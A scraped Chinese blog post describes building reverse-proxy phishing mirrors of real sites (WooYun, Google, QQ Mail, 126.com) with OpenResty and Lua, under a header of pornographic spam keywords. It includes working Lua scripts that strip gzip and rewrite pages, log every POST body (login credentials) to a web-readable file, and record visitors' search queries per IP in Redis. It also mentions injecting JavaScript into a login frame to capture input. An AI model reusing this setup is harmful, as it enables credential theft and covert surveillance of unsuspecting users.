日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時(shí)間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案
openresty+lua在反向代理服務(wù)中的玩法

0x01 起因

創(chuàng)新互聯(lián)是一家業(yè)務(wù)范圍包括IDC托管業(yè)務(wù),雅安服務(wù)器托管、主機(jī)租用、主機(jī)托管,四川、重慶、廣東電信服務(wù)器租用,雅安移動(dòng)機(jī)房,成都網(wǎng)通服務(wù)器托管,成都服務(wù)器租用,業(yè)務(wù)范圍遍及中國(guó)大陸、港澳臺(tái)以及歐美等多個(gè)國(guó)家及地區(qū)的互聯(lián)網(wǎng)數(shù)據(jù)服務(wù)公司。

幾天前學(xué)弟給我介紹他用nginx搭建的反代,代理了谷歌和維基百科。

由此我想到了一些邪惡的東西:反代既然是所有流量走我的服務(wù)器,那我是不是能夠在中途做些手腳,達(dá)到一些有趣的目的。 openresty是一款結(jié)合了nginx和lua的全功能web服務(wù)器,我感覺其角色和tornado類似,既是一個(gè)中間件,也結(jié)合了一個(gè)后端解釋器。所以,我們可以在nginx上用lua開發(fā)很多“有趣”的東西。

所以,這篇文章也是由此而來(lái)。

0x02 openresty的搭建

openresty是國(guó)人的一個(gè)開源項(xiàng)目,主頁(yè)在http://openresty.org/ ,其核心nginx版本相對(duì)比較高(1.7.10),搭配的一些第三方模塊也很豐富。

首先在官網(wǎng)下載openresty源碼,然后我還需要一個(gè)openresty中沒有的第三方庫(kù):https://github.com/yaoweibin/ngx_http_substitutions_filter_module ,同樣下載下來(lái)。

編譯:

 
 
 
  1. ./configure --with-http_sub_module --with-pcre-jit --with-ipv6 --add-module=/root/requirements/ngx_http_substitutions_filter_module  
  2. make && make install 

編譯選項(xiàng)中: —with-http_sub_module 附帶http_sub_module模塊,這是nginx自帶的一個(gè)模塊,用來(lái)替換返回的http數(shù)據(jù)包中內(nèi)容。 --with-pcre-jit —with-ipv6 提供ipv6支持 —add-module=/root/requirements/ngx_http_substitutions_filter_module(此處為你下載的ngx_http_substitutions_filter_module目錄) 將剛才下載的http_substitutions_filter_module模塊編譯進(jìn)去。http_substitutions_filter_module模塊是http_sub_module的加強(qiáng)版,它可以用正則替換,并可以多處替換。

編譯安裝的過程沒有什么難點(diǎn),很快就安裝好了,openresty和luajit都默認(rèn)在/usr/local/openresty目錄下。nginx的二進(jìn)制文件為 /usr/local/openresty/nginx/sbin/nginx。

然后像正常啟動(dòng)nginx一樣啟動(dòng)之。

0x03 反代目標(biāo)網(wǎng)站

根據(jù)目標(biāo)網(wǎng)站的不同,反代也是有難度之分的。

比如烏云,我們可以很輕松地將其反代下來(lái)。因?yàn)闉踉浦髡居幸粋€(gè)特點(diǎn):所有鏈接都是相對(duì)地址。所以我甚至不需要修改頁(yè)面中任何內(nèi)容即可完整反代。

一個(gè)簡(jiǎn)單demo:http://wooyun.jjfly.party ,其配置文件如下:

其中,location / 塊即為反代烏云的配置塊。

proxy_pass 是將請(qǐng)求交給上游處理,而這里的上游就是http://wooyun.com

proxy_cookie_domain是將所有cookie中的domain替換掉成自己的domain,達(dá)到能夠登陸的效果。

proxy_buffering off用來(lái)關(guān)閉內(nèi)存緩沖區(qū)。

proxy_set_header是一個(gè)重要的配置項(xiàng),利用這個(gè)項(xiàng)可以修改轉(zhuǎn)發(fā)時(shí)的HTTP頭。比如,烏云在登錄以后,修改資料的時(shí)候會(huì)驗(yàn)證referer,如果referer來(lái)自wooyun.jjfly.party是會(huì)提示錯(cuò)誤的。所以我在這里用proxy_set_header將referer設(shè)置為wooyun.org域下的地址,從而繞過檢查。

這樣,做好了一個(gè)***的“釣魚網(wǎng)站”:

我甚至可以正常登錄、修改信息:

但是并不是所有網(wǎng)站做反代都這樣簡(jiǎn)單,比如google。谷歌是一個(gè)https的站點(diǎn),所以通常也需要一個(gè)https的配置:

我申請(qǐng)了一個(gè)SSL證書,反代方法和烏云類似。但不同的是,谷歌會(huì)檢查host,如果host不是谷歌自己的域名就會(huì)強(qiáng)制302跳轉(zhuǎn)到www.google.com。

于是我在這里用proxy_set_header 將Host設(shè)置為www.google.com。

另外,谷歌與烏云***的不同是,其源碼中鏈接均為絕對(duì)路徑,所以一旦用戶點(diǎn)擊其中鏈接后又會(huì)跳轉(zhuǎn)回谷歌去。所以,我這里使用了subs_filter模塊將其中的字符竄“www.google.com”替換成“xdsec.mhz.pw”。

這是反代中經(jīng)常會(huì)遇到的情況。

那么,如果我并沒有條件購(gòu)買SSL證書怎么辦?其實(shí)我們?cè)趎ginx配置中也是可以將https降成http的。比如http://qq.jjfly.party就是代理的https://mail.qq.com:

另外,在xui.qq.jjfly.party(登陸框的frame)中,我利用 subs_filter " "; ,在html的標(biāo)簽前插入了一段javascript,通過這個(gè)方式,我可以簡(jiǎn)單制作一個(gè)前端的數(shù)據(jù)截取。(XSS) 打開即會(huì)彈窗:

在反代過程中,我們會(huì)常常和gzip打交道。熟悉http協(xié)議的同學(xué)應(yīng)該知道,如果瀏覽器發(fā)送的數(shù)據(jù)包頭含有Accept-Encoding: gzip,即告訴服務(wù)器:“我可以接受gzip壓縮過的數(shù)據(jù)包”。這時(shí)后端就會(huì)將返回包壓縮后發(fā)送,并包含返回頭Content-Encoding: gzip,瀏覽器根據(jù)是否含有這個(gè)頭對(duì)返回?cái)?shù)據(jù)包進(jìn)行解壓顯示。

但gzip在反代中,會(huì)造成很大問題:subs_filter替換內(nèi)容時(shí),如果內(nèi)容是壓縮過的,明顯就不能正常替換了。同時(shí)在日志里可以看到這樣的記錄:

http subs filter header ignored, this may be a compressed response. while reading response header from upstream

所以網(wǎng)上一般處理方式是,在向上層服務(wù)器轉(zhuǎn)發(fā)數(shù)據(jù)包的時(shí)候,設(shè)置proxy_set_header Accept-Encoding ””,這樣后端服務(wù)器就不會(huì)壓縮數(shù)據(jù)包了。

但有時(shí)候,做反代的時(shí)候會(huì)發(fā)現(xiàn)subs_filter的替換失效或部分失效了,我在做126.com反代的時(shí)候就遇到了這個(gè)問題。經(jīng)過一段時(shí)間的研究發(fā)現(xiàn),可能和緩存有關(guān)系,緩存中的數(shù)據(jù)包是gzip壓縮過的,所以就算發(fā)送Accept-Encoding=””也不管用。 如下是http://126.jjfly.party 配置:

我設(shè)置了很多阻止其緩存的方法,但實(shí)際上好像并沒有效果。

于是這里我想到借助lua,我想通過lua腳本在數(shù)據(jù)包返回的時(shí)候解壓縮gzip數(shù)據(jù),并代替subs_filter進(jìn)行字符串的替換。#p#

0x04 借助lua進(jìn)行g(shù)zip解壓與返回包修改

openresty在編譯安裝的時(shí)候就加入了lua支持,所以無(wú)需再對(duì)nginx進(jìn)行改造。但lua下對(duì)gzip進(jìn)行解壓,需要借助一個(gè)庫(kù):lua-zlib(https://github.com/brimworks/lua-zlib) lua是一個(gè)和C語(yǔ)言結(jié)合緊密的腳本語(yǔ)言,實(shí)際上lua-zlib就是一個(gè)C語(yǔ)言編寫的庫(kù),我們現(xiàn)在需要做的就是將其編譯成一個(gè)動(dòng)態(tài)鏈接庫(kù)zlib.so,讓lua來(lái)引用。

 
 
 
  1. git clone https://github.com/brimworks/lua-zlib.git  
  2. cd lua-zlib  
  3. cmake -DLUA_INCLUDE_DIR=/usr/local/openresty/luajit/include/luajit-2.1 -DLUA_LIBRARIES=/usr/local/openresty/luajit/lib -DUSE_LUAJIT=ON -DUSE_LUA=OFF 
  4. make && make install 

以上代碼解釋一下。首先執(zhí)行cmake來(lái)生成編譯配置文件。LUA_INCLUDE_DIR指定luajit的include文件夾,LUA_LIBRARIES指定luajit的lib文件夾。USE_LUAJIT=ON和USE_LUA=OFF指定我們使用的是luajit而不是lua:

再執(zhí)行make && make install即可:

這時(shí)候已經(jīng)編譯好了zlib.so,拷貝到openresty的lib目錄下即可:

cp zlib.so /usr/local/openresty/lualib/zlib.so

然后回到nginx的配置文件中,“body_filter_by_lua_file /usr/local/openresty/luasrc/repl.lua; ”這句話告訴nginx我需要把返回包的body交給repl.lua處理。 repl.lua腳本:

 
 
 
  1. local zlib = require "zlib"  
  2. function decode(str)  
  3.     if unexpected_condition then error() end  
  4.     local stream = zlib.inflate()  
  5.     local ret = stream(str)  
  6.     return ret  
  7. end  
  8.    
  9. function callback()  
  10.     local str = ngx.arg[1]  
  11.     str = string.gsub(str, "https://", "http://")  
  12.     str = string.gsub(str, "mail.126.com", "126.jjfly.party")  
  13.     str = string.gsub(str, '"126.com"', '"126.jjfly.party"')  
  14.     str = string.gsub(str, "'126.com'", "'126.jjfly.party'")  
  15.     ngx.arg[1] = str  
  16. end  
  17.    
  18. function writefile(filename, info)  
  19.     local file = io.open(filename,"ab")  
  20.     file:write(info)  
  21.     file:close()  
  22. end  
  23.    
  24. function readfile(filename)  
  25.     local file = io.open(filename, "rb")  
  26.     local data = file:read("*all")  
  27.     file:close()  
  28.     return data  
  29. end  
  30.    
  31. local token = getClientIp()..ngx.var.uri  
  32. local tmpfile = ngx.shared.tmpfile  
  33. local value, flags = tmpfile:get(token)  
  34.    
  35. if not value then  
  36.     value = "/tmp/"..randstr(8)  
  37.     tmpfile:set(token, value)  
  38. end  
  39.    
  40. if ngx.arg[1] ~= '' then  
  41.     writefile(value, ngx.arg[1])  
  42. end  
  43. if ngx.arg[2] then  
  44.     local body = readfile(value)  
  45.     local status, debody = pcall(decode, body)  
  46.     if status then  
  47.         ngx.arg[1] = debody  
  48.     end  
  49.     os.remove(value)  
  50.     callback()  
  51.     return  
  52. else  
  53.     ngx.arg[1] = nil  
  54. end 

思路是個(gè)簡(jiǎn)單粗暴的方式:ngx.arg1是原始的body,我將之交給pcall(lua下的異常處理方式),利用zlib.inflate進(jìn)行解壓。如果不出異常說(shuō)明解壓成功了,就將結(jié)果覆蓋ngx.arg1,拋出異常了說(shuō)明body可能是沒壓縮的,就保持不變。 但實(shí)際操作中遇到幾個(gè)困難:

數(shù)據(jù)包并不是一次全部交給repl.lua,而是被分成許多chunks。所以我判斷了一下,當(dāng)數(shù)據(jù)包沒有接收完整的時(shí)候就先保存在一個(gè)臨時(shí)文件中,直到eof,我才將之解壓縮發(fā)送給客戶端。

多用戶情況下,我需要區(qū)分臨時(shí)文件屬于哪個(gè)用戶。所以我將臨時(shí)文件名保存在ngx.shared中,根據(jù)IP+uri判斷(實(shí)際上也并不***)。

lua生成的隨機(jī)數(shù)并不會(huì)自動(dòng)播種,所以我需要根據(jù)系統(tǒng)時(shí)間來(lái)設(shè)置隨機(jī)數(shù)種子。

***,解壓完成后我直接調(diào)用callback()函數(shù)在其中對(duì)數(shù)據(jù)包進(jìn)行替換,實(shí)際上就是完成之前subs_filter做的那些操作。 這樣配置完成后,重啟nginx,用瀏覽器訪問將會(huì)發(fā)現(xiàn)一個(gè)問題:

提示是:ERR_CONTENT_DECODING_FAILED,但我用burpsuite發(fā)包會(huì)發(fā)現(xiàn)似乎一切正常:

其實(shí)這個(gè)問題我之前都說(shuō)了,還是和gzip有關(guān)。我們看到上圖,返回包中含有Content-Encoding: gzip,當(dāng)我們的瀏覽器查看到此頭后,會(huì)認(rèn)為數(shù)據(jù)包是gzip壓縮過的。

但實(shí)際上我們已經(jīng)在lua中將其解壓縮了,所以返回的數(shù)據(jù)其實(shí)是沒壓縮過的。最終導(dǎo)致瀏覽器解壓出錯(cuò),造成ERR_CONTENT_DECODING_FAILED。

怎么解決?

在nginx配置中將返回包頭中的Content-Encoding設(shè)置為空就好了:

header_filter_by_lua就是在修改返回頭的配置。后面可以直接編寫lua腳本,將ngx.header["Content-Encoding"]=""。 這時(shí)就可以正常訪問了:

#p#

0x05 利用lua截取數(shù)據(jù)

那么,lua除了能夠解決上述的解壓縮問題以外,還有沒有什么新玩法?

這時(shí)候,理應(yīng)就想到就是數(shù)據(jù)包的截獲。釣魚網(wǎng)站的最終目的就是獲取用戶的信息,我在前面說(shuō)到了可以通過在前端插入javascript腳本來(lái)截取用戶的輸入。

但實(shí)際上這并不是***的方案,***的方法就是在后端截取數(shù)據(jù)包。

于是我來(lái)使用lua完成這個(gè)任務(wù)。首先在nginx的server塊外面(主配置文件中)加入配置項(xiàng):

 
 
 
  1. init_by_lua_file  /usr/local/openresty/luasrc/init.lua;
  2. access_by_lua_file /usr/local/openresty/luasrc/fish.lua; 

這兩項(xiàng)在ngx_lua_waf中也介紹過。init_by_lua_file是在nginx啟動(dòng)的時(shí)候加載并執(zhí)行的lua腳本,access_by_lua_file是在一次HTTP請(qǐng)求開始前執(zhí)行的lua腳本。

init_by_lua_file一般是初始化一些全局使用的函數(shù),不多說(shuō)了。說(shuō)一下我寫的access_by_lua_file時(shí)調(diào)用的fish.lua:

 
 
 
  1. local method=ngx.req.get_method()  
  2. if in_array(ngx.var.host, valid_host) then  
  3. if method == "POST" then  
  4.     ngx.req.read_body()  
  5.     local data = ngx.req.get_body_data()  
  6.     writefile("/home/wwwroot/fish/"..ngx.var.host..".txt", data .. "\n")  
  7. end  
  8. end 

當(dāng)host在valid_host(釣魚站的host)中時(shí),判斷如果請(qǐng)求是POST請(qǐng)求,就將數(shù)據(jù)包的body寫入/home/wwwroot/fish/ $ngx.var.host .txt 中。

這時(shí),我訪問http://126.jjfly.party/admin/126.jjfly.party.txt 就可以看到實(shí)時(shí)釣魚的結(jié)果:

烏云也一樣:http://wooyun.jjfly.party/admin/wooyun.jjfly.party.txt

QQ郵箱那個(gè)因?yàn)榄h(huán)境太復(fù)雜(有至少三個(gè)host需要反代),所以我寧愿選擇在前端插入腳本進(jìn)行劫持。

除了記錄用戶輸入的賬號(hào)密碼,根據(jù)反代網(wǎng)站的類型不同還能截取很多有趣的東西。

比如谷歌,我可以記錄訪客在谷歌中查詢的內(nèi)容:

腳本也很簡(jiǎn)單:

 
 
 
  1. if ngx.var.host == "xdsec.mhz.pw" then  
  2.     local args = ngx.req.get_uri_args()  
  3.     if args["q"] then  
  4.         writefile("/home/wwwroot/fish/"..ngx.var.host..".txt",  "search: " .. args["q"] .. "\n")  
  5.     end  
  6. end 

可見,雖然你看到的流量是經(jīng)過一個(gè)擁有正規(guī)的證書的https站點(diǎn)的。但實(shí)際上我在寫lua腳本的時(shí)候根本不用在乎流量是否加密,因?yàn)閛penresty總會(huì)將一個(gè)明文的數(shù)據(jù)包交給我處理。

那么:Youtube,我們可以記錄訪客看過哪些視頻;wikipedia,我們可以記錄用戶搜索過哪些姿勢(shì);1024,我們可以記錄哪些片子的點(diǎn)擊率***……(笑)

自從各大國(guó)外站點(diǎn)陸續(xù)從互聯(lián)網(wǎng)上消失以后,現(xiàn)在鏡像網(wǎng)站越來(lái)越多。但上面的案例也說(shuō)明了,鏡像網(wǎng)站也并不一定都是正直的。#p#

0x06 結(jié)合緩存與redis提升反代效率

當(dāng)然openresty絕不僅僅是擁有這樣一些簡(jiǎn)單的功能。openresty出現(xiàn)的定義就是一個(gè)“全功能的 Web 應(yīng)用服務(wù)器”,所以php可以有的功能它都可以辦到。 簡(jiǎn)單來(lái)說(shuō)我們可以直接在openresty上用lua編寫一個(gè)完整的動(dòng)態(tài)網(wǎng)站。 之前我們的反代配置,有一些無(wú)法避免的缺點(diǎn):

對(duì)gzip的支持不好,要不就是不使用壓縮,要不就是需要解壓,效率較低

沒有使用緩存,請(qǐng)求頻繁、并發(fā)量大的情況下nginx可能被上游服務(wù)器封掉。

后端沒有進(jìn)行負(fù)債均衡。

如果僅僅是釣魚的話,效率低是問題不大的,因?yàn)樵L問量不會(huì)太大。但如果你想做一個(gè)使用量大的谷歌鏡像之類的網(wǎng)站,就必須要考慮這個(gè)問題了。

如何緩解這個(gè)問題?

比如,我們可以利用谷歌全球的IP進(jìn)行負(fù)載均衡:

 
 
 
  1. proxy_cache_path /tmp/google/  levels=1:2   keys_zone=g1:100m max_size=1g;  
  2. proxy_cache_key "$host$request_uri";  
  3.    
  4. upstream google{  
  5. server 216.58.220.132:443 max_fails=3 fail_timeout=10s;  
  6. server 131.203.2.49:443 max_fails=3 fail_timeout=10s;  
  7. server 216.58.209.165:443 max_fails=3 fail_timeout=10s;  
  8. server 209.85.229.53:443 max_fails=3 fail_timeout=10s;  
  9. server 173.194.122.22:443 max_fails=3 fail_timeout=10s;  
  10. server 216.58.209.101:443 max_fails=3 fail_timeout=10s;  
  11. server 173.194.126.65:443 max_fails=3 fail_timeout=10s;  

另外,利用proxy_cache進(jìn)行緩存,可以減少很多反代服務(wù)器向上游服務(wù)器請(qǐng)求的次數(shù),防止被封。

當(dāng)然,除了使用文件緩存以外,openresty還可以使用一些效率更高的服務(wù),比如redis。

openresty自帶了一個(gè)redis客戶端lua-resty-redis:https://github.com/openresty/lua-resty-redis (openresty還有個(gè)RedisNginxModule模塊,這個(gè)是反代redis請(qǐng)求的,并不是redis客戶端) 不過,現(xiàn)今的openresty對(duì)于redis模塊(包括所有依賴于socket的模塊)的支持僅限于在rewrite_by_lua, access_by_lua, content_by_lua這三個(gè)context中,也就是說(shuō)我們沒法將返回的數(shù)據(jù)包儲(chǔ)存于redis中,但我們可以將截取到的數(shù)據(jù)儲(chǔ)存于redis中。

還是以谷歌為例,我將查詢結(jié)果按照IP來(lái)存入redis:

 
 
 
  1. red = redis:new()  
  2. red:set_timeout(1000)  
  3. local ok, err = red:connect("127.0.0.1", 6379)  
  4. if not ok then  
  5.     ngx.log(ngx.WARN, "failed to connect: ", err)  
  6.     return  
  7. end  
  8. ok, err = red:select(2)  
  9. if not ok then  
  10.     ngx.log("failed to select: ", err)  
  11.     return  
  12. end  
  13.    
  14. local args = ngx.req.get_uri_args()  
  15. if args["q"] then  
  16.     local key = getClientIp()  
  17.     local data, err = red:sadd(key, args["q"])  
  18. end  

再將location /result 解析到如下lua腳本中,讀取redis顯示結(jié)果:

 
 
 
  1. local result = "" 
  2. local ips = red:keys("*")  
  3. for k1,ip in pairs(ips) do  
  4.     resultresult = result .. ip .. ":\n"  
  5.     local words = red:smembers(ip)  
  6.     for k2,word in pairs(words) do  
  7.         resultresult = result .. "\tSearch: " .. word .. "\n"  
  8.     end  
  9. end  
  10. ngx.header.content_type = 'text/plain';  
  11. ngx.say(result)  
  12. return 

***效果如圖所示:

0x07 總結(jié)與引用

通過這篇文章,我簡(jiǎn)單地講了openresty一些有意思的玩法。

說(shuō)白了,就是借助其能夠截取數(shù)據(jù)包的能力,來(lái)做很多只有hacker才想做的事情。除了文中說(shuō)到的玩法(釣魚、用戶隱私探測(cè)),我還想到一些openresty可以做的大事:

蜜罐:利用lua自動(dòng)截取數(shù)據(jù)包中的0day并進(jìn)行分析。

流量分析與漏洞自動(dòng)化挖掘:將目標(biāo)網(wǎng)站反代下來(lái),正常瀏覽使用。lua在后端截取數(shù)據(jù)包并交給各種自動(dòng)化分析工具分析。

高級(jí)服務(wù)的負(fù)載均衡:nginx 1.9后代理模塊被加入內(nèi)核,那時(shí)候我們甚至可以用openresty作為shadowsocks的前端服務(wù)器,作負(fù)載均衡。利用lua配置多用戶shadowsocks環(huán)境,讓shadowsocks多用戶不再局限于端口與密碼,而變成一個(gè)host+username+password認(rèn)證的形式。

當(dāng)然openresty的能力絕不僅僅是如此,還是最開始說(shuō)的,openresty是一個(gè)全功能web服務(wù)器。

但作為一個(gè)hacker,我往往去先挖掘這里面最有意思的一些內(nèi)容,也就是我上面說(shuō)的。

如果諸君有興趣深入研究,都可以和我一起探索。

本文參考資料:

https://github.com/openresty/lua-nginx-module

http://openresty.org/

https://github.com/openresty/lua-resty-redis

https://github.com/brimworks/lua-zlib

http://wrfly.kfd.me/Nginx%E6%90%AD%E5%BB%BA%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E6%9C%8D%E5%8A%A1/ (學(xué)弟的博客)

http://nginx.org/en/docs/http/ngx_http_core_module.html

http://www.4byte.cn/question/463833/does-lua-optimize-the-operator.html

我推薦一些nginx/lua的相關(guān)資料與我關(guān)注的lua項(xiàng)目:

https://github.com/leafo/moonscript

https://github.com/leafo/lapis

https://github.com/loveshell/ngx_lua_waf

http://jb.wanpin123.com/lua/


本文標(biāo)題:openresty+lua在反向代理服務(wù)中的玩法
文章出自:http://www.5511xx.com/article/cooggig.html